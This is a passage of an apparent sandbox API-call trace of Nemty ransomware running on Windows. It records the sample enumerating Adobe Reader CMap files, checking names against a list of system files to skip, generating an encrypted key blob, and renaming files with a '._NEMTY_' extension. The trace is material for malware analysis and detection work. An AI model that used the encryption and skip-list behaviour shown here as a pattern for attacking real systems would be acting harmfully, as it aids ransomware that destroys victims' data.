lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.835] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.835] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.835] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.835] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.841] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.841] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.847] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.847] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0203.847] CloseHandle (hObject=0xffffffff) returned 0 [0203.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0203.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0203.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0203.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0203.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0203.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0203.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0203.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0203.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0203.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0203.847] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-v._nemty_kgobjgd_")) returned 0 [0203.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0203.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0203.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0203.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0203.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0203.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0203.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0203.848] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETenms-B5-H", cAlternateFileName="ETENMS~1")) returned 1 [0203.848] lstrcmpiW (lpString1="ETenms-B5-H", lpString2=".") returned 1 [0203.848] lstrcmpiW (lpString1="ETenms-B5-H", lpString2="..") returned 1 [0203.848] lstrcmpiW (lpString1="ETenms-B5-H", lpString2="...") returned 1 [0203.848] lstrcmpiW (lpString1="ETenms-B5-H", lpString2="windows") returned -1 [0203.848] lstrcmpiW (lpString1="ETenms-B5-H", lpString2="$RECYCLE.BIN") returned 1 [0203.848] lstrcmpiW (lpString1="ETenms-B5-H", lpString2="rsa") returned -1 [0203.848] lstrcmpiW (lpString1="ETenms-B5-H", lpString2="NTDETECT.COM") returned -1 [0203.848] lstrcmpiW (lpString1="ETenms-B5-H", lpString2="ntldr") returned -1 [0203.848] lstrcmpiW (lpString1="ETenms-B5-H", lpString2="MSDOS.SYS") returned -1 [0203.848] lstrcmpiW (lpString1="ETenms-B5-H", lpString2="IO.SYS") returned -1 [0203.848] lstrcmpiW (lpString1="ETenms-B5-H", lpString2="boot.ini") returned 1 [0203.848] lstrcmpiW (lpString1="ETenms-B5-H", lpString2="boot.ini") returned 1 [0203.848] lstrcmpiW (lpString1="ETenms-B5-H", lpString2="AUTOEXEC.BAT") returned 1 [0203.848] lstrcmpiW (lpString1="ETenms-B5-H", lpString2="ntuser.dat") returned -1 [0203.848] lstrcmpiW (lpString1="ETenms-B5-H", lpString2="desktop.ini") returned 1 [0203.848] lstrcmpiW (lpString1="ETenms-B5-H", lpString2="CONFIG.SYS") returned 1 [0203.848] lstrcmpiW (lpString1="ETenms-B5-H", lpString2="RECYCLER") returned -1 [0203.848] lstrcmpiW (lpString1="ETenms-B5-H", lpString2="BOOTSECT.BAK") returned 1 [0203.848] lstrcmpiW (lpString1="ETenms-B5-H", lpString2="bootmgr") returned 1 [0203.848] lstrcmpiW (lpString1="ETenms-B5-H", lpString2="programdata") returned -1 [0203.848] lstrcmpiW (lpString1="ETenms-B5-H", lpString2="appdata") returned 1 [0203.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETenms-B5-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0203.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETenms-B5-H", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETenms-B5-H", lpUsedDefaultChar=0x0) returned 11 [0203.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0203.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETenms-B5-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0203.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETenms-B5-H", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETenms-B5-H", lpUsedDefaultChar=0x0) returned 11 [0203.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0203.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETenms-B5-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0203.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETenms-B5-H", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETenms-B5-H", lpUsedDefaultChar=0x0) returned 11 [0203.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETenms-B5-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0203.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETenms-B5-H", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETenms-B5-H", lpUsedDefaultChar=0x0) returned 11 [0203.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0203.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0203.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0203.849] Sleep (dwMilliseconds=0x5) [0203.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2d27f530, dwHighDateTime=0x1d561e8)) [0203.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2d27f530, dwHighDateTime=0x1d561e8)) [0203.859] GetLastError () returned 0x5 [0203.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0203.859] GetLastError () returned 0x5 [0203.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0203.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0203.859] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0203.859] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0203.859] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0203.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0203.859] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="KkF+0zwZI99l1iQZayw6tDvRugUHIwCIF4lnS9+97uVosFmE8+jwY1cIp42RlbEM\r\nNDpin4SkmvIfnoc1JzMzoEZT4wiU+oaMpE9URtuoz8wOW/poVDzCCgZPKhdAjDSo\r\n4C8Dswi4IvVeEz7FR2UdKKAjTL3R6Y15Y4kO1LlRsLssdDxD4J3lwnN+6XkjtuDB\r\nUrUgP013zcrYOqg6cC2cr7dF2/NdiTVGJFrqrXRGMLVcFG5ydjIk4vlUmLwjuxaN\r\nJ0W6n+OfiOJOoMxlac4OFFtOa3Zt5YckkAbyI4mDLBBDV4cVI7uSJzcnO4VX77Yi\r\nC4k/tdEAkZhveL+mLi0Ukw==\r\n", pcchString=0x653e91c) returned 1 [0203.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0203.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0203.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0203.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0203.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0203.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0203.859] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\etenms-b5-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0203.859] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0203.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0203.860] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.860] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.869] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.869] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.878] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.878] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.887] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.887] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.897] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.897] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.906] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.906] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.915] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.915] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.925] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.925] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.934] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.934] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.944] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.944] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.953] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.953] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.959] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.959] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.965] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.965] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0203.965] CloseHandle (hObject=0xffffffff) returned 0 [0203.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0203.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0203.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0203.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, 